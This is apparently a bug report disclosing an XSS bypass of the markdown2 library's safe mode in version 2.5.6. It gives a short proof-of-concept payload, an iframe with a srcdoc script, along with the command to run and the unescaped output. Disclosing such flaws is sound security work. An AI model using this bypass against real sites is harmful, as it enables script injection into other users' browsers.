Safe Mode XSS

[salvatore-abello]

Describe the bug
It's possible to bypass the safe mode (escape and replace)

To Reproduce
Create a file called PoC.html:

<iframe
<http:> srcdoc="<script>alert()</script>" a=

Then, execute:

markdown2 --safe escape PoC.html > result.html

The content of result.html will be:

<p><iframe
&lt;http:&gt; srcdoc="&lt;script&gt;alert()&lt;/script&gt;" a=</p>

Finally, open result.html with a browser and you should see a pop up.

Debug info
Version of library being used: 2.5.6 (fetched from github)